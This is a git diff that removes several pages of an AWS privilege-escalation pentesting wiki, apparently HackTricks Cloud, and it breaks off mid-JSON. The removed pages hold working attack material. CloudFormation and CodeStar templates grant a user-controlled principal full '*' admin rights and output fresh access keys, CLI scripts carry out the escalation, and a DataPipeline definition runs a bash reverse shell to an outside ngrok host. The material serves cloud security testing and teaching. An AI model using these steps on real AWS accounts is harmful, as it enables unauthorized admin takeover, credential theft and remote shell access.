-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## VPN
-
-For more information:
-
-{% content-ref url="../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/" %}
-[aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum](../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
deleted file mode 100644
index 5d96ec8ca..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# AWS - Privilege Escalation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## AWS Privilege Escalation
-
-The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization.
-
-{% hint style="warning" %}
-AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**.
-{% endhint %}
-
-{% hint style="danger" %}
-If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**.\
-So remember that this is another way to **grant privileged permissions** to a principal.
-{% endhint %}
-
-**The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.**
-
-## Tools
-
-* [https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws\_escalate.py](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py)
-* [Pacu](https://github.com/RhinoSecurityLabs/pacu)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
deleted file mode 100644
index 7294ee888..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
+++ /dev/null
@@ -1,35 +0,0 @@
-# AWS - Chime Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-### chime:CreateApiKey
-
-TODO
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
deleted file mode 100644
index 8147ce381..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ /dev/null
@@ -1,109 +0,0 @@
-# iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-An attacker could for example use a **cloudformation template** that generates **keys for an admin** user like:
-
-```json
-{
- "Resources": {
- "AdminUser": {
- "Type": "AWS::IAM::User"
- },
- "AdminPolicy": {
- "Type": "AWS::IAM::ManagedPolicy",
- "Properties": {
- "Description" : "This policy allows all actions on all resources.",
- "PolicyDocument": {
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Action": [
- "*"
- ],
- "Resource": "*"
- }]
- },
- "Users": [{
- "Ref": "AdminUser"
- }]
- }
- },
- "MyUserKeys": {
- "Type": "AWS::IAM::AccessKey",
- "Properties": {
- "UserName": {
- "Ref": "AdminUser"
- }
- }
- }
- },
- "Outputs": {
- "AccessKey": {
- "Value": {
- "Ref": "MyUserKeys"
- },
- "Description": "Access Key ID of Admin User"
- },
- "SecretKey": {
- "Value": {
- "Fn::GetAtt": [
- "MyUserKeys",
- "SecretAccessKey"
- ]
- },
- "Description": "Secret Key of Admin User"
- }
- }
-}
-```
-
-Then **generate the cloudformation stack**:
-
-```bash
-aws cloudformation create-stack --stack-name privesc \
- --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
- --role arn:aws:iam::[REDACTED]:role/adminaccess \
- --capabilities CAPABILITY_IAM --region us-west-2
-```
-
-**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**:
-
-```bash
-aws cloudformation describe-stacks \
- --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
- --region uswest-2
-```
-
-### References
-
-* [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
deleted file mode 100644
index d9fdae9de..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ /dev/null
@@ -1,63 +0,0 @@
-# AWS - Codepipeline Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## codepipeline
-
-For more info about codepipeline check:
-
-{% content-ref url="../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md" %}
-[aws-datapipeline-codepipeline-codebuild-and-codecommit.md](../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
-{% endcontent-ref %}
-
-### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-
-When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them.
-
-Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...)
-
-I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
-
-During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise:
-
-.png>)
-
-.png>)
-
-### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
-
-It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions.
-
-### `codepipeline:pollforjobs`
-
-[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
-
-> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
deleted file mode 100644
index 106d50e48..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ /dev/null
@@ -1,99 +0,0 @@
-# AWS - Codestar Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Codestar
-
-You can find more information about codestar in:
-
-{% content-ref url="codestar-createproject-codestar-associateteammember.md" %}
-[codestar-createproject-codestar-associateteammember.md](codestar-createproject-codestar-associateteammember.md)
-{% endcontent-ref %}
-
-### `iam:PassRole`, `codestar:CreateProject`
-
-With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. Check the following page:
-
-{% content-ref url="iam-passrole-codestar-createproject.md" %}
-[iam-passrole-codestar-createproject.md](iam-passrole-codestar-createproject.md)
-{% endcontent-ref %}
-
-### `codestar:CreateProject`, `codestar:AssociateTeamMember`
-
-This technique uses `codestar:CreateProject` to create a codestar project, and `codestar:AssociateTeamMember` to make an IAM user the **owner** of a new CodeStar **project**, which will grant them a **new policy with a few extra permissions**.
-
-```bash
-PROJECT_NAME="supercodestar"
-
-aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
- --name $PROJECT_NAME \
- --id $PROJECT_NAME
-
-echo "Waiting 1min to start the project"
-sleep 60
-
-USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')
-
-aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
- --project-id $PROJECT_NAME \
- --user-arn "$USER_ARN" \
- --project-role "Owner" \
- --remote-access-allowed
-```
-
-If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember`
-
-**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in:
-
-{% content-ref url="codestar-createproject-codestar-associateteammember.md" %}
-[codestar-createproject-codestar-associateteammember.md](codestar-createproject-codestar-associateteammember.md)
-{% endcontent-ref %}
-
-### `codestar:CreateProjectFromTemplate`
-
-1. **Create a New Project:**
- * Utilize the **`codestar:CreateProjectFromTemplate`** action to initiate the creation of a new project.
- * Upon successful creation, access is automatically granted for **`cloudformation:UpdateStack`**.
- * This access specifically targets a stack associated with the `CodeStarWorker--CloudFormation` IAM role.
-2. **Update the Target Stack:**
- * With the granted CloudFormation permissions, proceed to update the specified stack.
- * The stack's name will typically conform to one of two patterns:
- * `awscodestar--infrastructure`
- * `awscodestar--lambda`
- * The exact name depends on the chosen template (referencing the example exploit script).
-3. **Access and Permissions:**
- * Post-update, you obtain the capabilities assigned to the **CloudFormation IAM role** linked with the stack.
- * Note: This does not inherently provide full administrator privileges. Additional misconfigured resources within the environment might be required to elevate privileges further.
-
-For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
-You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar\_createprojectfromtemplate\_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
-
-**Potential Impact:** Privesc to cloudformation IAM role.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
deleted file mode 100644
index 883d19f18..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
+++ /dev/null
@@ -1,115 +0,0 @@
-# codestar:CreateProject, codestar:AssociateTeamMember
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-This is the created policy the user can privesc to (the project name was `supercodestar`):
-
-```json
-{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Sid": "1",
- "Effect": "Allow",
- "Action": [
- "codestar:*",
- "iam:GetPolicy*",
- "iam:ListPolicyVersions"
- ],
- "Resource": [
- "arn:aws:codestar:eu-west-1:947247140022:project/supercodestar",
- "arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent",
- "arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner"
- ]
- },
- {
- "Sid": "2",
- "Effect": "Allow",
- "Action": [
- "codestar:DescribeUserProfile",
- "codestar:ListProjects",
- "codestar:ListUserProfiles",
- "codestar:VerifyServiceRole",
- "cloud9:DescribeEnvironment*",
- "cloud9:ValidateEnvironmentName",
- "cloudwatch:DescribeAlarms",
- "cloudwatch:GetMetricStatistics",
- "cloudwatch:ListMetrics",
- "codedeploy:BatchGet*",
- "codedeploy:List*",
- "codestar-connections:UseConnection",
- "ec2:DescribeInstanceTypeOfferings",
- "ec2:DescribeInternetGateways",
- "ec2:DescribeNatGateways",
- "ec2:DescribeRouteTables",
- "ec2:DescribeSecurityGroups",
- "ec2:DescribeSubnets",
- "ec2:DescribeVpcs",
- "events:ListRuleNamesByTarget",
- "iam:GetAccountSummary",
- "iam:GetUser",
- "iam:ListAccountAliases",
- "iam:ListRoles",
- "iam:ListUsers",
- "lambda:List*",
- "sns:List*"
- ],
- "Resource": [
- "*"
- ]
- },
- {
- "Sid": "3",
- "Effect": "Allow",
- "Action": [
- "codestar:*UserProfile",
- "iam:GenerateCredentialReport",
- "iam:GenerateServiceLastAccessedDetails",
- "iam:CreateAccessKey",
- "iam:UpdateAccessKey",
- "iam:DeleteAccessKey",
- "iam:UpdateSSHPublicKey",
- "iam:UploadSSHPublicKey",
- "iam:DeleteSSHPublicKey",
- "iam:CreateServiceSpecificCredential",
- "iam:UpdateServiceSpecificCredential",
- "iam:DeleteServiceSpecificCredential",
- "iam:ResetServiceSpecificCredential",
- "iam:Get*",
- "iam:List*"
- ],
- "Resource": [
- "arn:aws:iam::947247140022:user/${aws:username}"
- ]
- }
- ]
-}
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
deleted file mode 100644
index 60d1b28c4..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ /dev/null
@@ -1,118 +0,0 @@
-# iam:PassRole, codestar:CreateProject
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**.
-
-To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**:
-
-{% code title="toolchain.json" %}
-```json
-{
- "Resources": {
- "supercodestar": {
- "Type": "AWS::IAM::ManagedPolicy",
- "Properties": {
- "ManagedPolicyName": "CodeStar_supercodestar",
- "PolicyDocument": {
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Action": "*",
- "Resource": "*"
- }
- ]
- },
- "Users": [
- ""
- ]
- }
- }
- }
-}
-```
-{% endcode %}
-
-Also **upload** this `empty zip` file to the **bucket**:
-
-{% file src="../../../../.gitbook/assets/empty.zip" %}
-
-Remember that the **bucket with both files must be accessible by the victim account**.
-
-With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project:
-
-```bash
-PROJECT_NAME="supercodestar"
-
-# Crecte the source JSON
-## In this JSON the bucket and key (path) to the empry.zip file is used
-SOURCE_CODE_PATH="/tmp/surce_code.json"
-SOURCE_CODE="[
- {
- \"source\": {
- \"s3\": {
- \"bucketName\": \"privesc\",
- \"bucketKey\": \"empty.zip\"
- }
- },
- \"destination\": {
- \"codeCommit\": {
- \"name\": \"$PROJECT_NAME\"
- }
- }
- }
-]"
-printf "$SOURCE_CODE" > $SOURCE_CODE_PATH
-
-# Create the toolchain JSON
-## In this JSON the bucket and key (path) to the toolchain.json file is used
-TOOLCHAIN_PATH="/tmp/tool_chain.json"
-TOOLCHAIN="{
- \"source\": {
- \"s3\": {
- \"bucketName\": \"privesc\",
- \"bucketKey\": \"toolchain.json\"
- }
- },
- \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
-}"
-printf "$TOOLCHAIN" > $TOOLCHAIN_PATH
-
-# Create the codestar project that will use the cloudformation epxloit to privesc
-aws codestar create-project \
- --name $PROJECT_NAME \
- --id $PROJECT_NAME \
- --source-code file://$SOURCE_CODE_PATH \
- --toolchain file://$TOOLCHAIN_PATH
-```
-
-This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc\_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
deleted file mode 100644
index 4e5b80724..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ /dev/null
@@ -1,100 +0,0 @@
-# AWS - Datapipeline Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## datapipeline
-
-For more info about datapipeline check:
-
-{% content-ref url="../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md" %}
-[aws-datapipeline-codepipeline-codebuild-and-codecommit.md](../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
-{% endcontent-ref %}
-
-### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
-
-Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:**
-
-```bash
-aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
-```
-
-After pipeline creation, the attacker updates its definition to dictate specific actions or resource creations:
-
-```json
-{
- "objects": [
- {
- "id" : "CreateDirectory",
- "type" : "ShellCommandActivity",
- "command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
- "runsOn" : {"ref": "instance"}
- },
- {
- "id": "Default",
